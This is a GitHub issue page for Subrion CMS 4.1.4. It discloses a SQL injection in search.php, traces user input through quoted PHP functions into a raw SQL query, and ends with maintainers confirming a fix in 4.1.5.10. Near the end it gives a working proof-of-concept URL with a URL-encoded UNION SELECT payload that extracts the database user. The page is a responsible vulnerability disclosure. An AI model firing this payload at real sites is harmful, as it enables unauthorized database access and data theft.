Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Subrion cms 4.1.4 sql injection in search.php #479

Closed
jgj212 opened this issue Jul 2, 2017 · 3 comments
Closed

Subrion cms 4.1.4 sql injection in search.php #479

jgj212 opened this issue Jul 2, 2017 · 3 comments
Labels
Milestone

Comments

@jgj212
Copy link

jgj212 commented Jul 2, 2017

description

Subrion cms 4.1.4 has a sql injection because $GET

details

critical code in /front/search.php, $GET is passed to doAjaxItemSearch with no checking

$iaView->loadSmarty(true);
$iaView->assign($iaSearch->doAjaxItemSearch($itemName, $_GET));  

doAjaxItemSearch in /includes/classes/ia.front.search.php

public function doAjaxItemSearch($itemName, array $params)  
    {
        $page = isset($params[self::GET_PARAM_PAGE]) ? max((int)$params[self::GET_PARAM_PAGE], 1) : 1;
        $sorting = [
            isset($params[self::GET_PARAM_SORTING_FIELD]) ? $params[self::GET_PARAM_SORTING_FIELD] : null,
            isset($params[self::GET_PARAM_SORTING_ORDER]) ? $params[self::GET_PARAM_SORTING_ORDER] : null
        ];

        $result = [
            'hash' => $this->httpBuildQuery($params)
        ];

        unset($params[self::GET_PARAM_PAGE], $params[self::GET_PARAM_SORTING_FIELD], $params[self::GET_PARAM_SORTING_ORDER]);

        if ($this->_loadItemInstance($itemName)) {
            $this->_limit = $this->_getLimitByItemName($itemName);
            $this->_start = ($page - 1) * $this->_limit;
            $this->_processSorting($sorting);
            $this->_processParams($params);      

            if ($search = $this->_callInstanceMethod()) { 
                $p = empty($_GET['page']) ? null : $_GET['page'];
                $_GET['page'] = $page; // dirty hack to make this work correctly
                $result['pagination'] = iaSmarty::pagination(['aTotal' => $search[0], 'aItemsPerPage' => $this->_limit, 'aTemplate' => '#'], $this->iaView->iaSmarty);
                is_null($p) || $_GET['page'] = $p;

                $result['total'] = $search[0];
                $result['html'] = $this->_renderResults($search[1]);
            }
        }
        return $result;
}

There is a _processParams in doAjaxItemSearch, it has the code, it's purpose is retrive parameter from $GET:

private function _processParams($params, $processRequestUri = false) 
    {
        $data = [];

        $stmt = '`item` = :item AND `searchable` = 1';
        $this->iaDb->bind($stmt, ['item' => $this->_itemName]);

        $this->_fieldTypes = $this->iaDb->keyvalue(['name', 'type'], $stmt, iaField::getTable());

        if ($params && is_array($params)) {
            foreach ($params as $fieldName => $value) {
                empty($this->getOption('columnAlias')->$fieldName) || ($fieldName = $this->getOption('columnAlias')->$fieldName);

                if (empty($value) ||
                    (!isset($this->_fieldTypes[$fieldName]) && ($this->getOption('customColumns') && !in_array($fieldName, $this->_options['customColumns'])))) {
                    continue;
                }

                $data[$fieldName] = $value;
            }
        }

        // support for custom parameters field:value within request URL
        if ($processRequestUri) {
            $captions = [];

            foreach ($this->iaCore->requestPath as $chunk) {
                if (false === strstr($chunk, ':')) {
                    continue;
                }

                $value = explode(':', $chunk);

                $key = array_shift($value);
                empty($this->getOption('columnAlias')->$key) || $key = $this->getOption('columnAlias')->$key;

                if ($value && isset($this->_fieldTypes[$key])) {
                    switch ($this->_fieldTypes[$key]) {
                        case iaField::NUMBER:
                            if (count($value) > 1) {
                                $data[$key] = ['f' => (int)$value[0], 't' => (int)$value[1]];
                                $captions[] = sprintf('%d-%d', $value[0], $value[1]);
                            } else {
                                $data[$key] = ['f' => (int)$value[0], 't' => (int)$value[0]];
                                $captions[] = $value[0];
                            }
                            break;
                        case iaField::COMBO:
                            foreach ($value as $v) {
                                $title = iaLanguage::get(sprintf('field_%s_%s', $key, $v), false);
                                empty($title) || $captions[] = $title;
                            }
                            $data[$key] = $value;
                            break;
                        default:
                            $data[$key] = $value;
                            $captions[] = $value;
                    }
                }
            }

            $this->_caption = implode(' ', $captions);
        }

        $this->_params = $data;
}

There is a _callInstanceMethod in doAjaxItemSearch, it has the code, it's purpose is call a user function:

    protected function _callInstanceMethod($fieldsSearch = true)
    {
        return call_user_func_array([$this->_itemInstance, self::ITEM_SEARCH_METHOD], [
            $fieldsSearch ? $this->_getQueryStmtByParams() : $this->_getQueryStmtByString(),
            $this->_start,
            $this->_limit,
            $this->_sorting
        ]);
    }

There is a _getQueryStmtByParams in _callInstanceMethod, it has the code, it's purpose is to construct a key-value-array string from parameter:

	protected function _getQueryStmtByParams()
    {
        $this->iaCore->factory('field');

        $statements = [];

        foreach ($this->_params as $fieldName => $value) {
            if ($this->getOption('customColumns') && in_array($fieldName, $this->_options['customColumns'])) {
                $statements[] = $this->_performCustomColumnTranslation($fieldName, $value);
                continue;
            }

            $column = ':column';
            $condition = '=';
            $val = is_string($value) ? "'" . iaSanitize::sql($value) . "'" : '';

            //...more code...

            $statements[] = [
                'col' => $column,
                'cond' => $condition,
                'val' => $val,
                'field' => $fieldName
            ];
        }

        if (!$statements) {
            return iaDb::EMPTY_CONDITION;
        }

        $tableAlias = $this->getOption('tableAlias') ? $this->getOption('tableAlias') . '.' : '';

        foreach ($statements as &$stmt) {
            if (isset($stmt['field'])) {
                $stmt = iaDb::printf(':column :condition :value', [
                    'column' => str_replace(':column', sprintf('%s`%s`', $tableAlias, $stmt['field']), $stmt['col']),
                    'condition' => $stmt['cond'],
                    'value' => $stmt['val']
                ]);
            } else {
                $s = [];
                foreach ($stmt as $innerStmt) {
                    $s[] = iaDb::printf(':column :condition :value', [
                        'column' => str_replace(':column', sprintf('%s`%s`', $tableAlias, $innerStmt['field']), $innerStmt['col']),
                        'condition' => $innerStmt['cond'],
                        'value' => $innerStmt['val']
                    ]);
                }

                $stmt = '(' . implode(' OR ', $s) . ')';
            }
        }

        return '(' . implode(' AND ', $statements) . ')';
    }

At last, self::ITEM_SEARCH_METHOD is referenced to coreSearch(/includes/classes/ia.core.users.php), it has the code, it's purpose it to excute sql, and $stmt is can be controlled as
it is construct from client-side data $GET:

    public function coreSearch($stmt, $start, $limit, $order)
    {
        if (!$this->iaCore->get('members_enabled')) {
            return false;
        }

        $visibleUsergroups = $this->getUsergroups(true);
        $visibleUsergroups = array_keys($visibleUsergroups);

        $stmt .= ' AND `usergroup_id` IN(' . implode(',', $visibleUsergroups) . ')';
        empty($order) || $stmt .= ' ORDER BY ' . $order;

        $rows = $this->iaDb->all(iaDb::STMT_CALC_FOUND_ROWS . ' ' . iaDb::ALL_COLUMNS_SELECTION, $stmt, $start, $limit,
            self::getTable());
        $count = $this->iaDb->foundRows();
        !$rows || $this->_processValues($rows);

        return [$count, $rows];
    }

So there exist a sql injection vulnerability.

POC: get database user via sql injection
http://localhost/search/members.json?id%60%3D-1%29%2f%2a%2a%2funion%2f%2a%2a%2fselect%2f%2a%2a%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cuser%28%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23balisong=1

sql1

Credit: ADLab of VenusTech

ghost pushed a commit that referenced this issue Jul 3, 2017
@rudSarkar
Copy link

Nice Catch

@ghost
Copy link

ghost commented Jul 6, 2017

@jgj212, thanks for this report too!

This fix is also provided and has been included into upgrade patch.

@ghost ghost closed this as completed Jul 6, 2017
@vbezruchkin
Copy link
Member

It's available in auto-updater patch released two days ago. The version with fix is 4.1.5.10

Thanks for the reports.

@vbezruchkin vbezruchkin added the bug label Jul 6, 2017
@vbezruchkin vbezruchkin added this to the 4.1.6 milestone Jul 6, 2017
This issue was closed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

3 participants